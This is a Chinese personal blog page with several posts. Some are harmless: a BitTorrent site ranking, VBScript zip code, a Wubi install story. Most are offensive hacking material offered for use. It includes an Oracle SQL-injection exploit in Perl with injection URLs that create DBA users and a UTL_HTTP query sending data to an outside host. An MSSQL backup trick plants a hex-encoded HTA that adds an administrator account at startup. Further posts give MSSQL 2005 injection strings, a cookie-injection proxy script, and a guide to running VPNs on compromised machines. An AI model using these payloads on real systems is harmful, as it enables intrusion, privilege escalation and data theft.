关于作者

用户名:lvhuana
笔名:Lvhu4na
地区:
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言


喜欢的地方

软件下载

其他

访问统计:
文章个数:136
评论个数:48
留言条数:0




Powered by BlogDriver 2.1

LvHuaNa's Blog

 

LvHuaNa的个人网络日记
男性
29岁
已婚
现有一个女儿
汉族
曾经加入过少先队和共青团
身高1.78米
体重140市斤
带眼镜,近视度600度
单眼皮小眼 -_-|||
发长20厘米左右(俗话怎么说的来着?"头发长见识短"???我汗,改天去剃个光头先.........)
家住河南省南阳市
工作:市内某酒业公司业务主管。
QQ号码:4243738
手机号码:不告诉你,省得你利用弱口令得到我的所有密码..........^_^

文章

世界前十大BT资源站点全表

torrentfreak公布了2007年度全球BT资源库的排行榜.

今年的排行榜比起往年有了巨大变化,Mininova以世界排名46位高居榜首.

而很不幸的是,他们之中的绝大多数正在面临RIAA和MPAA以及各个版权组织的围追堵截.以下是列表.

1. Mininova

世界上最受欢迎的BT站点.

Alexa rank: 46

2. IsoHunt

仅次于Mininova,在美国本土无法访问.

Alexa rank: 143

3. The Pirate Bay

号称要建立盗版国的瑞典海盗湾

Alexa rank: 147

4. Torrentz

它不直接提供.torrent文件,而是提供评论系统,私人书签等功能.

Alexa rank: 160

5. BTjunkie

今年增长最快的BT站点,但是也经常被ISP扫地出门.

Alexa rank: 445

6. TorrentSpy

06年的BT站点冠军,由于MPAA的原因在美国本土也无法访问.

Alexa rank: 461

7. TorrentPortal

今年最沉默奖

Alexa rank: 481

8. GamesTorrents

一个西班牙语的Torrent站点能挤入排行榜实为不易.

Alexa rank: 583

9. TorrentReactor

拥有4年悠久历史的BT站点.

Alexa rank: 604

10. BTmon

最年轻的BT站点

Alexa rank: 673

默哀奖:Demonoid

- 作者: Lvhu4na 2008年02月10日, 星期日 17:19  回复(0) |  引用(0) 加入博采

drupal物理路径泄露漏洞

/themes/garland/page.tpl.php

访问这个,是windows服务器的话,出现错误,直接暴露出物理路径,别的操作系统没测试,估计应该一样。

右键看源代码可以看到。

- 作者: Lvhu4na 2008年01月20日, 星期日 01:28  回复(0) |  引用(1) 加入博采

用vbs实现zip
来源:vbs小铺

压缩:
Function fZip(sSourceFolder,sTargetZIPFile)
'This function will add all of the files in a source folder to a ZIP file
'using Windows' native folder ZIP capability.
Dim oShellApp, oFSO, iErr, sErrSource, sErrDescription
Set oShellApp = CreateObject("Shell.Application")
Set oFSO = CreateObject("Scripting.FileSystemObject")
'The source folder needs to have a \ on the End
If Right(sSourceFolder,1) <> "\" Then sSourceFolder = sSourceFolder & "\"
On Error Resume Next
'If a target ZIP exists already, delete it
If oFSO.FileExists(sTargetZIPFile) Then oFSO.DeleteFile sTargetZIPFile,True
iErr = Err.Number
sErrSource = Err.Source
sErrDescription = Err.Description
On Error GoTo 0
If iErr <> 0 Then
fZip = Array(iErr,sErrSource,sErrDescription)
Exit Function
End If
On Error Resume Next
'Write the fileheader for a blank zipfile.
oFSO.OpenTextFile(sTargetZIPFile, 2, True).Write "PK" & Chr(5) & Chr(6) & String(18, Chr(0))
iErr = Err.Number
sErrSource = Err.Source
sErrDescription = Err.Description
On Error GoTo 0
If iErr <> 0 Then
fZip = Array(iErr,sErrSource,sErrDescription)
Exit Function
End If
On Error Resume Next
'Start copying files into the zip from the source folder.
oShellApp.NameSpace(sTargetZIPFile).CopyHere oShellApp.NameSpace(sSourceFolder).Items
iErr = Err.Number
sErrSource = Err.Source
sErrDescription = Err.Description
On Error GoTo 0
If iErr <> 0 Then
fZip = Array(iErr,sErrSource,sErrDescription)
Exit Function
End If
'Because the copying occurs in a separate process, the script will just continue. Run a DO...LOOP to prevent the function
'from exiting until the file is finished zipping.
Do Until oShellApp.NameSpace(sTargetZIPFile).Items.Count = oShellApp.NameSpace(sSourceFolder).Items.Count
 WScript.Sleep 1500'如果不成功,增加一下秒数
Loop
fZip = Array(0,"","")
End Function

Call fZip ("C:\vbs","c:\vbs.zip")

解压缩:
Function fUnzip(sZipFile,sTargetFolder)
'Create the Shell.Application object
Dim oShellApp:Set oShellApp = CreateObject("Shell.Application")
'Create the File System object
Dim oFSO:Set oFSO = CreateObject("Scripting.FileSystemObject")
'Create the target folder if it isn't already there
If Not oFSO.FolderExists(sTargetFolder) Then oFSO.CreateFolder sTargetFolder
'Extract the files from the zip into the folder
oShellApp.NameSpace(sTargetFolder).CopyHere oShellApp.NameSpace(sZipFile).Items
'This is a seperate process, so the script would continue even if the unzipping is not done
'To prevent this, we run a DO...LOOP once a second checking to see if the number of files
'in the target folder equals the number of files in the zipfile. If so, we continue.
Do
WScript.Sleep 1000‘有时需要更改
Loop While oFSO.GetFolder(sTargetFolder).Files.Count < oShellApp.NameSpace(sZipFile).Items.Count
End Function

- 作者: Lvhu4na 2008年01月19日, 星期六 16:50  回复(0) |  引用(1) 加入博采

优化c程序体积

忘记是谁给的这个txt文档了,优化后体积确实变小不少。

随手测试了一个cpp,编译后28k,优化后体积变成1.5k,真不错。

先用release 来build 程序
再加上我这 头文件
#ifdef NDEBUG
#pragma optimize("gsy",on)
#pragma comment(linker,"/RELEASE")
#ifdef _MERGE_RDATA_
#pragma comment(linker,"/merge:.rdata=.data")
#endif
#pragma comment(linker,"/merge:.text=.data")
#pragma comment(linker,"/merge:.reloc=.data")
#if _MSC_VER >= 1000
#endif
#endif
#pragma comment(linker,"/MERGE:.rdata=.data")
#pragma comment(linker,"/MERGE:.text=.data")
#pragma comment(lib,"msvcrt.lib")
#if (_MSC_VER < 1300)
#pragma comment(linker,"/IGNORE:4078")
#pragma comment(linker,"/OPT:NOWIN98")
#endif
#define WIN32_LEAN_AND_MEAN


保存为 youhua.h  直接 #include  "youhua.h"

- 作者: Lvhu4na 2008年01月17日, 星期四 17:15  回复(0) |  引用(1) 加入博采

ART OF WEB-SQL-INJECTION ORACLE篇

文章作者:kj021320

注意:本文章首发I.S.T.O技术团队,后由原创作者友情提交到邪恶八进制信息安全团队论坛。
author : kj021320
team: I.S.T.O

很多人都说什么ASP PHP JSP注射 其实注射最直接是跟数据库有关!然而那些脚本只是一种辅助
例如ASP/ASPX JSP 啥限制都没!而PHP则会把' 过滤为\' 但是若然不是MYSQL POSTGRESQL SQLITE的话这个功能就废了!
但是我觉得这些脚本语言都不狠~如果CFM的话 估计你就没折了! 具体各数据库相关信息请参看
ART OF WEB-SQL-INJECTION第1卷 感谢AMXSA以及I.C.E多我的支持

OK言归正传,在国外对ORACLE的攻击一直很收关注,只是国内研究的人不太多,或者技术不够~这里我就打响第一炮吧!
SQLINJECTION 都是要看数据库的SQL解析引擎的 ,ORACLE这个就不支持多语句执行了!
大家要是用PLSQL那些工具可以用; 来执行多个语句 !
那是因为工具上面帮你做了多个语句分别提交
ORACLE注射在国外提出了好些攻击方式,但是能够web sql injection利用的没多少!
在早期ngs 和 ARGENISS 都相对提出了 FUNCTION/PROCEDURE 的注入方式!
也就是用户自己定义的一些函数或者存储过程会存储SQL-INJECTION
我拿一个MSSQL的函数作为例子
create function ISTO_KJ021320(@sql varchar(100))
RETURNS int
begin
exec('SELECT * FROM KJ021320 WHERE NAME='''+ @sql +'''');
end
以上这样的方式无疑@sql这个参数没有过滤 存在SQL注入了!
同样在ORACLE中这样的方式特别出众,首先从用户定义的函数到系统函数
系统包里面的函数一般都是操作一些系统表!普通用户是无办法查取的
但是调用这些系统函数就可以获取相应的信息~
很容易理解ORACLE权限管理的机制

用户--->调用函数(继承函数创建者的权限)--->执行操作
那么我们只需要做的是改函数里面的操作 进行添加用户,建DBA等...

milw0rm securityfocus 红色数据库安全 ...公布的方法都是很简单的说给了应用而没有说明道理~
那就由我代劳翻印讲解一下吧~
例如以下的官方公布的是
DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION 这个包的这个函数存储INJECTION
OK 在 milw0rm上面公布的 exploit 是一段PERL写的代码

use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;

sub usage {
    print <<"USAGE";
   
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]

Options:
    -h    <host>    target server address
    -s    <sid>      target sid name
    -u    <user>    user
    -p    <passwd>  password

    -g|-r            (g)rant dba to user | (r)evoke dba from user
    [-P    <port>    Oracle port]

USAGE
    exit 0
}

my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};

my $dbh = undef;
if ($opt{P}) {
    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}

my $sqlcmd = "GRANT DBA TO $user";
print "[-] Wait...\n";

if ($opt{r}) {
    print "[-] Revoking DBA from $user...\n";
    $sqlcmd = "REVOKE DBA FROM $user";
    $dbh->do( $sqlcmd );
    print "[-] Done!\n";
    $dbh->disconnect;
    exit;
}

print "[-] Creating evil function...\n";
$dbh->do( qq{
CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '$sqlcmd'; COMMIT;
RETURN(0);
END;
} );

print "[-] Go ...(don't worry about errors)!\n";
my $sth = $dbh->prepare(qq{
BEGIN
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||$user.own||''');
END;
});
$sth->execute;
$sth->finish;
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;

-------


以上 的方法其实就是 首先自己要建立一个函数叫 OWN 里面的操作就是
GRANT DBA TO $user  把DBA权限授予某个用户!
然后到有存在注入的存储过程中
SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION( 放入OWN函数  );
因为
ACTIVATE_SUBSCRIPTION方法存在注射
所以会直接执行 own函数 去添加一个权限
这里演示的是 需要先建立一个函数的!但是我们WEB SQL INJ的时候不能写多个SQL来建个函数啊!
有什么方法?
ACTIVATE_SUBSCRIPTION存在注射 当然也可以把后面的语句屏蔽了!跟我们WEB SQL INJ差不多
具体怎么知道应该怎样检测挖掘ORACLE的函数注入,下次我会写篇<<检测函数注入in ORACLE>>的文章

以上原理介绍完了 开始实战!
记得 很多文章说要是SQL语句这样子写
sqlstr="begin select * from kj021320 where name=$name;end;";
可以执行多语句!其实这个是废话!现在写代码的哪个会这样~一般都直接操作SQL了
sqlstr="select * from kj021320 where name=$name";
所以在,ORACLE WEB中SQL注射只能使用函数,存储过程不能使用!具体为什么自己去看看文档

在web 存在一个注射点
http://127.0.0.1:8080/VOA/test.jsp?id=282  数字型的
那么我们首先来确认这个用户的权限
http://127.0.0.1:8080/VOA/test.jsp?id=282 and exists(select * from dba_tables)
在这里一个小细节
讲讲ORACLE的系统表部分
DBA开头的 只有DBA权限的用户才能访问例如 DBA_USERS DBA_TABLES
而一般用户都能查询
user_tables 跟 all_tables这两个系统表 前者是本用户自己的表! 后者是自己的表以及人家授权给你查询的表!
一般注射软件只需要查询这两个表就可以获取用户的表结构了

回到上面的注射一般都会返回false的!
没关系其实有函数注射 权限对我们来说不重要~
那现在怎么确认ORACLE主机的位置呢? 也就是说他的IP跟WEB是不是同一个机器
那么我们采用
UTL_HTTP 这个包里面的 request函数
例子:
SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1
他会把数据当作URL请求发送出去!具体大型数据库都有远程数据调用的方式 可以参看
ART OF WEB-SQL-INJECTION第1卷

那么我们怎么构造这个注射呢?很简单!
http://127.0.0.1:8080/VOA/test.jsp?id=282 and '1'in(SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES)
这样子!
然而我们得构造一个页面接收请求的参数!ASP简单实现
<%
if request("data")="" then
  response.Write Application("oracle_data")
else
  dim dataValue
  dataValue=request.ServerVariables("REMOTE_HOST") & " data : " & request("data") & "<br>"
  if request("clear")<>"" then
  Application("oracle_data")=dataValue
  else
  Application("oracle_data")=Application("oracle_data") & dataValue
  end if
end if
%>
除非他数据库是内网 不然一般我们都可以获取他的IP地址以及数据~ 比猜表还快!

接下来我们可以获取他的IP 然后扫他的ORA端口 SID可以通过SELECT查询获取 或者用tnscmd检测!

节下来我就直接一点了!
拿出 06年国外公布的一个ODAY
GET_DOMAIN_INDEX_TABLES 但是国外好象没给出更多的利用信息
就是这样而已,看当时的说明

CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/
CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';
COMMIT;
RETURN(1);
END;
END;
/
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER';
TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER';
VERSION := '10.2.0.2.0'; GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
/

具体注射点在第3个参数
我现在不采用函数形式
直接在里面插入SQL语句

SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)
这样就可以建立一个用户了!
我们构造SQL

http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)=''
这样提交就会建立一个KJ021320用户 而密码也是KJ021320
可以了建立了用户也不行~~先给这个用户添加连接的权限
http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO KJ021320'''';END;'';END;--','SYS',0,'1',0)=''
再用此方法添加一个DBA权限! 既然你是ORACLE的DBA 那采用什么方法去写本地文件拿shell
方法多的是!别说备份了!PRO*C  SQLJ都可以!接下来留给你们吧!

- 作者: Lvhu4na 2008年01月1日, 星期二 14:11  回复(0) |  引用(1) 加入博采

也谈 MSSQL备份取系统权限
邪八有这样一篇文章 <>

原文里用的方法是备份出BAT文件,下面回复有人提到本地测试成功,而放到WEBSHELL上提权时效果不佳,其实原因还是出在BAT上,因为在DOS下单条命令长度是有限制的(好像是128位字符吧,不记得了),大家在本地测试时数据库一定很小(几乎是空的吧),而放WEBSHELL里提权时数据库相对较大,而且不论是LOG备份还是差异备份在备份时都会加入N多数据,只要在你备份前的BAT数据之前有一行是大于128位字符的在备份后的BAT执行时就会自动退出,不信你可以在本地建个BAT删掉@echo off这一行后在DOS运行你的BAT试试看。这就是本地测试成功,用于WEBSHELL提权时失效的原因了。

BAT不行我们试试HTA,关于HTA的文件格式大家自行GOOGLE或BAIDU


把上面这段代码转为16进制后再在头尾各加两个回车备份出来为HTA后缀就可加大成功率了。最后一行加个JS代码自动关掉HTA运行时弹出的窗口来躲过管理员的眼睛。

贴下备份代码:

1.Log备份:

alter database 库名 set RECOVERY FULL--
create table cmd (a image)--
backup log 库名 to disk='c:\cmd1' with init--
insert into cmd(a) values (0x130A0D0A3C534352495054204C414E47554147453D225642536372697074223E0D0A536574205753203D20575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C2229200D0A57532E72756E2022636D64202F63206E6574207573657220783134306C6520333432313031353931202F616464222C300D0A57532E72756E2022636D64202F63206E6574206C6F63616C67726F75702061646D696E6973747261746F727320783134306C65202F616464222C300D0A3C2F5363726970743E0D0A3C736372697074206C616E67756167653D6A6176617363726970743E77696E646F772E636C6F736528293B3C2F7363726970743E0D0A0D0A)--
backup log 库名 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\run.hta'--
drop table cmd--
alter database 库名 set RECOVERY SIMPLE--

2.差异备份:

backup database 库名 to disk='c:\ddd.bak'--
create table dtest (cmd image)--      
insert into dtest(cmd) values (0x130A0D0A3C534352495054204C414E47554147453D225642536372697074223E0D0A536574205753203D20575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C2229200D0A57532E72756E2022636D64202F63206E6574207573657220783134306C6520333432313031353931202F616464222C300D0A57532E72756E2022636D64202F63206E6574206C6F63616C67726F75702061646D696E6973747261746F727320783134306C65202F616464222C300D0A3C2F5363726970743E0D0A3C736372697074206C616E67756167653D6A6176617363726970743E77696E646F772E636C6F736528293B3C2F7363726970743E0D0A0D0A)--
backup database 库名 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\run.hta' WITH DIFFERENTIAL,FORMAT--
drop table dtest--

==================================================
上面的代码是用WScript.Shell组件执行加管理员的命令的,现在安全性高点的主机都不会留着它给你提权用,如果没有WScript.Shell组件我们还可以用 Shell.Application Wscript.Network ,如果这些都不可用我们还可以用FSO直接来写其它文件..... (说得太多了,留点空间大家发挥吧......)

以下转自:http://blog.wang1.cn/?action=show&id=664

韩文参照:
alter database moweb002 set RECOVERY FULL--   
 
create table moweb002..cmd(a image)--   

backup log moweb002 to disk='c:\cmd1' with init--   

insert into cmd(a) values (0x130A0D0A406563686F206F66660D0A6563686F20736574207773687368656C6C3D6372656174656F626A6563742822777363726970742E7368656C6C22293E6B2E7662730D0A6563686F2065786563206D61737465722E64626F2E73705F616464737276726F6C656D656D626572206D6F7765623030322C73797361646D696E3E633A5C746573742E7172790D0A6563686F20623D7773687368656C6C2E72756E2822636D642E657865202F63206973716C202D45202F5520616C6D61202F50202F6920633A5C746573742E717279222C30293E3E6B2E7662730D0A6B2E7662730D0A64656C2025300D0A)--   

backup log moweb002 to disk='C:\Documents and Settings\All Users\시작 메뉴\프로그램\시작프로그램\1.bat'--   

drop table cmd--  


中文对照:
alter database moweb00 set RECOVERY FULL--   

create table moweb002..cmd(a image)--   

backup log moweb002 to disk='c:\cmd1' with init--   

insert into cmd(a) values (0x130A0D0A406563686F206F66660D0A6563686F20736574207773687368656C6C3D6372656174656F626A6563742822777363726970742E7368656C6C22293E6B2E7662730D0A6563686F2065786563206D61737465722E64626F2E73705F616464737276726F6C656D656D626572206D6F7765623030322C73797361646D696E3E633A5C746573742E7172790D0A6563686F20623D7773687368656C6C2E72756E2822636D642E657865202F63206973716C202D45202F5520616C6D61202F50202F6920633A5C746573742E717279222C30293E3E6B2E7662730D0A6B2E7662730D0A64656C2025300D0A)--   

backup log moweb002 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.bat'--   

drop table cmd--

- 作者: Lvhu4na 2007年12月15日, 星期六 16:22  回复(3) |  引用(1) 加入博采

mssql2005手工注入方法

http://www.cnblogs.com/rover/archive/2007/07/22/827082.html

作者:rover
累死朕了,纯手工猜了个站..还是mssql2005..边找资料边爆..整理如下
/**/跟空格的作用一样,有的时候可以过一些过滤

爆库语句,修改红色部分的数字挨个猜出库

/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--

爆表语句,somedb部份是所要列的数据库,红色数字1累加
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
爆字段语句,爆表admin里user='icerover'的密码段
/**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--

mssql2005默认没有开xp_cmdshell的,openrowset也不能用
如果是sa权限,可以这样来开启

开启openrowset
EXEC/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
开启xp_cmdshell
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
ok,over~~晚安~

- 作者: Lvhu4na 2007年11月23日, 星期五 13:14  回复(0) |  引用(1) 加入博采

cookie注入也加速

[转贴的,找不到作者信息了。]

       目前世面上大部分防注入程序都没有对cookie注入进行预防,虽然cookie手工注入麻烦了点,但对于有耐性的人来说,还是可以得到后台密码的,如果是MSSQL数据库,那么就更简单了。所以本文的目的就是用工具来代替手工进行cookie注入~~,手工方法如下:
       比如网址如下http://zzz.com/cplb.asp?id=46,对GET以及POST提交的数据都进行了检测,也没办法饶过。首先打开上面的地址,再清空地址栏,输入javascript:alert(document.cookie="id="+escape("46 and 1=2")),再输入http://zzz.com/cplb.asp,页面返回错误,说明有希望;提交javascript:alert(document.cookie="id="+escape("46 and 1=1")),最后输入http://zzz.com/cplb.asp,这次返回完全正常;可以确定存在cookie注入。以下代码来自寂寞的刺猬[L.S.T],脚本高手啊~~
<%
cookname=request("jmdcw")
cookname=escape(cookname)
jmstr="id="&cookname   '存在注入的变量
jmstr=replace(jmstr,chr(32),"%20")
jmstr=replace(jmstr,chr(43),"%2b")

'//以下三行需要修改,Cookies值可以用Domain3.5浏览下就得到了~~
jmurl="http://zzz.com/cplb.asp" '存在注入的网址
jmref="http://zzz.com/index.asp" '来源地址
jmcok="ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK"

jmcok=jmcok& ";"&jmstr&";"
response.write postdata(jmurl,jmcok,jmref)
function postdata(posturl,postcok,postref)
dim http
set http=server.createobject("msxml2.serverxmlhttp")
with http
.open "POST",posturl,false
.setRequestheader "content-type","application/x-www-form-urlencoded"
.setrequestheader "referer",postref
.setrequestheader "cookie",postcok     '提交cookie值
.send()     '发送数据
postdata=.responsebody       '得到返回的二进制信息
end with
set http=nothing
postdata=bytes2BSTR(postdata) '转换二进制流
end function

function bytes2BSTR(vin)
dim strReturn
dim i,thischarcode,nextcharcode
strReturn=""
for i=1 to lenB(vin)
thischarcode=ascB(midB(vin,1,1))
if thischarcode<&H80 then
strReturn=strReturn&chr(thischarcode)
else
nextcharcode=ascB(midB(vin,1+1,1))
strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode))
i=i+1
end if
next
bytes2BSTR=strReturn
end function
%>
保存为jmdcw.asp,最后可以本机装个IIS或绿色的aspsrv.exe,那么注入地址就是http://127.0.0.1/jmdcw.asp?jmdcw=46,直接用工具就OK了,从此HACKING的道路更宽广了。。。

- 作者: Lvhu4na 2007年10月25日, 星期四 19:25  回复(0) |  引用(1) 加入博采

wubi,今天终于安装成功了。

看了上期的电脑爱好者杂志,看了里面有个叫wubi的软件不错,可以直接在windows上安装linux,而且不用虚拟机什么的,不用破坏分区,简直堪称完美。

心动不已,赶快下载之,按照杂志上的步骤,第一步下载wubi软件,第二步安装wubi软件,wubi会自动的从网上下载ubuntu-7.04-alternate-i386.iso这个文件,因为采用的是bt下载模式好像,所以我这里速度并不美丽,50k左右,拉了好久,终于拉下来完,然后wubi要求重新启动windows,重新启动后在系统选择那里多出来个ubuntu,开始自动安装ubuntu,安装到36%那里出错了,错误提示“load installer componernts from cd”,再也安装不下去了。。。

不对啊,杂志不是说全自动么。。。到电脑爱好者论坛去看了下,看来出现我这种问题的人还不少,论坛真垃圾,没有人可以提出解决方法的。在baidu和google搜索了下,找不到解决办法。到岳父家,用岳父家的电脑试了下,问题照旧。

今天突然想到,会不会是硬盘格式造成了ubuntu无法安装?我的硬盘格式都是fat32 的,无法使用4G以上的文件,而ubuntu默认安装的话,都最少8G了。

测试之,把e盘改成ntfs格式,然后安装ubuntu,一路绿灯,嘿嘿。终于进入了linux世界。开始好好学习linux喽~~ 

心得一:国外的月亮也不是完美的圆的。50k左右的下载速度,足以可以把一个人的意志磨砺到快没有的地步。所以简单的方法是直接用web来拉ubuntu-7.04-alternate-i386.iso这个文件,大家用脚指头都可以想像出来讯雷下载的速度是wubi下载时间的多少倍。把下载回来的.iso文件放在wubi的同目录下,然后再运行wubi,wubi会自动检测文件的。这样能节省不少时间。

心得二:如果不想改变盘的格式,只想保留fat32的原格式的话,还是把文件大小指定为4G以下的好,那样的结果是你进ubuntu安装不了多少东西,就没有体积再去安装别的东西了。(可能以后有好用的拓展虚拟硬盘体积的办法)

- 作者: Lvhu4na 2007年09月18日, 星期二 20:42  回复(4) |  引用(1) 加入博采

也说vpn

[转贴网络文章]

最近肉鸡的大力锐减,3389做事又相对不方便,想想还是VPN比较划算也更不容易被人发现。网上教程无数,不外那几个,包括linzi大大的都有许些问题没有说明白,害我的走不少弯路,,牺牲肉鸡无数下总算琢磨出一些技巧来,不敢私藏,sharing

1.前提
服务里 windows防火墙停止(或者麻烦点可以把router协议,端口1723配进去)
远程注册表服务必须开启
server服务必须开启
router路由服务必须开启
至于其他还可能依据的服务,偶也想8通,也许和某个RPC协议相关...一般来说,大概如此
2.过程,给出俩种磨人的方法
1)以上服务全部启动以后,我的电脑--管理工具---路由和远程访问
选择配置路由(以下为操作回忆,具体名称也记不清楚了,懒得副图)
首先,选择说明里带VPN几个字的第3个(什么虚拟私人网络vpn存取和NAT),
下一步  VPN
下一步
区域连接,选对方的(双网卡情况未测试,大家可以自己测试。这里的区域选择,选那个不带IP的,可以自己试下,选对了就可以下一步,否则禁止)
下一步 
写IP范围(因为一般服务器是不安装DHCP服务器的),这里如肉鸡IP为211.78.100.24,我们就要写它后面的地址范围,比如211.78.100.25到211.78.100.30,当然,你可以狠心一点写到254去。注意不可以把本身ip包含进去,偶就是包了又包,在这个问题上就折腾一天无果
下一步
选择windows自带验证,不要选那个什么radius加密协议。确定,启动路由
最后
计算机管理,用户那里,把对应用户属性里的拨入选项,选择为允许

或者…………………………………………………………………………………………………………网上教程大多是这个
配置路由
选择最后一项,自由设定,vpn(也可以把NAT加入),开启
在路由和远程访问的服务器状态下面(机器名上点属性/内容),在IP一项里,静态地址中加入拨入的IP段比如211.78.100.25到211.78.100.30
下一步
计算机管理,用户那里,把对应用户属性里的拨入,选择为允许既可

2)在服务里Routing and remote Access默认禁止或者停止的情况下(远程注册表服务为打开)
网络邻居 属性,建立一个新的连接
选择最后一个(设置高级连接,就那个什么串口并口)
接受连接,允许其他电脑连入这台电脑
允许虚拟私人连接(A)
选择拨入的用户
网络属性,这里可以配置tcp/ip协议。比如:211.78.100.25到211.78.100.30
完成……

  这个方法是最简单的ing,系偶牺牲无数肉鸡换来的~~
在这有俩个挺郁闷的现象,
如先启动Routing and remote Access,则网络邻居里就自动出现一个“拨入”,是未配置的
如先建立网络邻居的高级连接(就是上面的第2种思路,Routing and remote Access默认禁止)
Routing and remote Access也会自动启动。极个别机器例外,偶也解释不了
 注意,配置了2)就不可以再配置1) ,默认禁止,提示网卡什么card已启动
 同样配置1)以后2)也不可以再配置,否则会自动跳到路由和远程访问那里
…………………………………………………………………………………………………………………………
   最后,本地建立VPN的client,这个简单的很啦。网络邻居属性,新建拨号连接,选择VPN,依次下一步即可。

关于新建的VPN拨入以后不能上网问题(也许可以ping通,但是打不开网页的)
肯定是DNS那里的问题啦。
复杂点
可以上肉鸡里配置肉鸡本地网卡的网关和DNS,或者cmd下打命令
route print
route  add  ....来调试
简单点
在本地已拨成功的虚拟专用网络的VPN的那个属性上
选择:网络--inter协议tcp/ip属性---高级,把那个在远程网络上使用默认网关的对号勾掉,重新连接。
ok~~~~~~

- 作者: Lvhu4na 2007年09月15日, 星期六 12:50  回复(3) |  引用(1) 加入博采

客隆购物网站管理系统漏洞

